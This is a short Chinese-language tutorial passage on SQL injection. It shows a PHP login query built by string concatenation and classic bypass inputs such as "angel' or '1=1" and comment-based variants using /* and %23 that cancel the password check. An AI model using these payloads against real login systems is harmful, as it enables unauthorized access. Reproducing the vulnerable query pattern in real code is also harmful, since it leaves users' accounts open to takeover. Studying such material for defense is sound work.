防火牆、系統補丁均難有效攔截,因攻擊發生在應用層合法 SQL 語句中。
應用未嚴格過濾使用者輸入,導致惡意資料拼接進 SQL 語句,改變原本邏輯。
-- 原始碼
$sql = "SELECT * FROM user WHERE username='$username' AND password='$passWord'";
-- 攻擊 Payload
username = angel' or '1=1
-- 產生 SQL
SELECT * FROM user WHERE username='angel' or '1=1' AND password='...'
-- 條件永真,繞過驗證
-- MySQL 支援 /* */ 與 # 註解
username = angel'/*
username = angel'%23 -- URL 編碼 # 為 %23,避免瀏覽器截斷
-- 產生 SQL:WHERE username='angel'/*' AND password='...'
-- 後續條件被註解,直接登入
註解法比邏輯運算更簡單通用,但需注意 URL 編碼與瀏覽器行為差異。